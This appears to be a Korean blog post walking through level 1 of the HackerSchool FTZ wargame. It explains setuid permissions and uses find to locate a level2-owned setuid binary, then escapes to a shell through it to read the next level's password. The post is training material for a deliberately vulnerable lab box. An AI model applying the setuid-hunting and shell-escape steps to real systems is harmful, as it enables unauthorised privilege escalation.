-
[HackerSchool FTZ] Level 1Security/System 2013. 7. 18. 18:56336x280(권장), 300x250(권장), 250x250, 200x200 크기의 광고 코드만 넣을 수 있습니다.
Pwn&Play 신입 스터디를 위해
FTZ 풀이를 시작합니다.
- Level ONE -
ftz에 level1 / leve1 로 접속하면 다음과 같은 화면을 만나게 됩니다.
Last login: Thu Jul 18 16:34:32 from ***.***.***.***
[level1@ftz level1]$
level1 계정으로 로그인이 된 화면인데요, 일단 워게임형식의 진행방식이므로, 파일 목록을 살펴봅니다.
[level1@ftz level1]$ ls
hint public_html tmp
아주 당연하듯이(?) hint 파일이 눈에 띕니다.
hint 파일을 열어봐야겠죠?
[level1@ftz level1]$ cat hint
level2 권한에 setuid가 걸린 파일을 찾는다.
Level 1의 문제입니다.
Level 2 권한에 setuid 가 걸린 파일을 찾으라는 문제입니다.
즉 서버 어딘가에 있는 파일에 level2의 setuid 가 걸려있는데, 그 파일을 찾아서 실행한다면 setuid 에 의해서 권한상승이 가능하다라는 말이다.
SetUID는 해당 파일을 실행중 SetUID가 걸려있는 해당사용자로 잠시동안 권한이 변경됨을 뜻한다. 그리고 그 파일의 실행이 끝나면 다시 원래 자신의 권한으로 돌아오게 된다.*[1]
파일을 찾기위해서 사용되는 리눅스 명령어는 "find" 명령어 이다.
우리는 find 명령어를 통해서 level2의 계정으로 setuid가 걸린 파일을 찾아서 실행하면 된다.
find 사용법: find [경로...] [수식]
[ find 명령어 옵션 ]
-perm : 특정 권한과 일치하는 파일을 찾는다.
-name : 특정 이름과 일치하는 파일을 찾는다.
-user : 특정 유저와 일치하는 파일을 찾는다.
-group : 특정 그룹과 일치하는 파일을 찾는다.
-size : 특정 사이즈와 일치하는 파일을 찾는다.
size 추가 옵션 형태 : find / -size n[bckw]
-> n을 크기를 지칭하는 정수이고, 뒤에 4개의 옵션은 단위를 지칭한다.
default 값은 b로 b는 블록단위, c는 바이트, k는 킬로바이트, w는 2-바이트 워드를 말한다.이 명령어를 아주 잘 써보면 되는데
level2으로 setuid가 걸린 파일.
즉 위에 명령어를 만들어보면
user가 level2면서 perm이 setuid 가 걸려있는. 그런 파일을 찾으면 된다.
find / -user level2 -perm -4000
명령어 검색경로 user옵션 퍼미션(권한)옵션
파일이 어디있는지 모르므로 가장 최상위부터 검색을 시도하기 위해 '/' 부터 검색하며
level2 계정과 일치하는 파일을 찾아야 하므로 '-user level2'
그리고 setuid 가 걸려있는 파일을 찾기위해 '-perm -4000' 을 옵션으로 준다.
여기서 -4000 의 의미를 알아야 하는데, '-' 는 최소값을 정의(?)한다고 생각하면 된다. 즉 -4000 이라 함은 최소 4000의 권한을 가진 파일을 찾으라는 옵션이 된다.
그리고 '4000'은 파일에 걸린 권한에 대한 문제인데.
우리가 파일을 만들고 그 파일에 권한을 지정할때 chmod 명령어를 쓰는데, 여러분도 아시다시피 chmod 를 쓸때
예로 chmod ./test 4755 이런식으로 지정을 준다.
'-rwsr-x---' 1 level2 level1 12900 2월 28 10:52 /bin/ExcuteMe
여기 파일 권한을 보면 -rw's'r-x--- 에 s가 있음을 볼 수 있다.여기서 s 가 setuid가 걸려있음을 의미한다.여기서 4000의 '4'가 's' 권한을 부여한것을 의미한다.• 디렉토리일 경우에는 d, 일반적인 파일일 경우에는 -가 표시
• 파일 허가권(Permission)
⇒ "rw-", "r--", "r--" 3개씩 끊어서 읽음 (r은 read, w는 write, x는 execute)
⇒ 첫 번째는 소유자의 파일 접근 권한
⇒ 두 번째는 그룹의 파일 접근 권한
⇒ 세 번째는 그 외의 사용자의 파일 접근 권한
그래서 우리는 'find / -user level2 -perm -4000' 을 입력하면 원하는 파일을 찾을 수 있을것이다.
[level1@ftz level1]$ find / -user level2 -perm -4000
find: /etc/default: 허가 거부됨
find: /etc/httpd/conf/ssl.crl: 허가 거부됨
find: /etc/httpd/conf/ssl.crt: 허가 거부됨
find: /etc/httpd/conf/ssl.csr: 허가 거부됨
find: /etc/httpd/conf/ssl.key: 허가 거부됨
find: /etc/httpd/conf/ssl.prm: 허가 거부됨
find: /root: 허가 거부됨
find: /usr/share/ssl/CA: 허가 거부됨
/bin/ExcuteMe
find: /home/pwnplay: 허가 거부됨
find: /home/clear: 허가 거부됨
find: /home/level10/program: 허가 거부됨
find: /home/level5/tmp: 허가 거부됨
find: /home/trainer1: 허가 거부됨
find: /home/trainer10: 허가 거부됨
find: /home/trainer2: 허가 거부됨
여기서 우리는 Level2의 setuid가 걸린 '/bin/ExcuteMe' 라는 파일을 찾았다.
다른 결과는 권한이없어서 거부당한 에러메세지 이다.
여기서 하나 더 팁을 주자면, 저런 에러메세지는 출력되지 않게 할 수 있다.
[level1@ftz level1]$ find / -user level2 -perm -4000 2>/dev/null
/bin/ExcuteMe
이 방법인데, 명령어 뒤에 2>/dev/null 이란 옵션을 붙였다.
이 옵션은 '2'번 메세지를 /dev/null 즉 trash 시키는 옵션인데.
2번 메세지는 에러코드(?) 를 의미한다.
반대로 성공메세지인 1번을 넣으면 '/bin/ExcuteMe'는 출력되지 않고 허가거부 되었다는 오류메세지만 출력된다.
이렇게 나온 파일을 실행해보자.
[level1@ftz level1]$ /bin/ExcuteMe
레벨2의 권한으로 당신이 원하는 명령어를
한가지 실행시켜 드리겠습니다.
(단, my-pass 와 chmod는 제외)
어떤 명령을 실행시키겠습니까?
[level2@ftz level2]$
파일을 실행하면 이런 화면을 만나게 된다.
웃긴것은, level2 의 암호를 알기위해서는 my-pass 를 사용해야하는데..
치사한놈이 my-pass는 실행시켜주지않겠다고 한다.
그래서 우리는 level2의 쉘을 이용해서 my-pass를 쓰면 된다.
[level1@ftz level1]$ /bin/ExcuteMe
레벨2의 권한으로 당신이 원하는 명령어를
한가지 실행시켜 드리겠습니다.
(단, my-pass 와 chmod는 제외)
어떤 명령을 실행시키겠습니까?
[level2@ftz level2]$ sh
sh-2.05b$ my-pass
Level2 Password is "hacker or ****".
이렇게 레벨1은 클리어할 수 있다.
참쉬운문제인데 하나하나 설명하니깐 포스팅이 은근 기네욤 ㅋ.ㅋ
'Security > System' 카테고리의 다른 글
EggShell.c:에그쉘 (2) 2011.04.07 댓글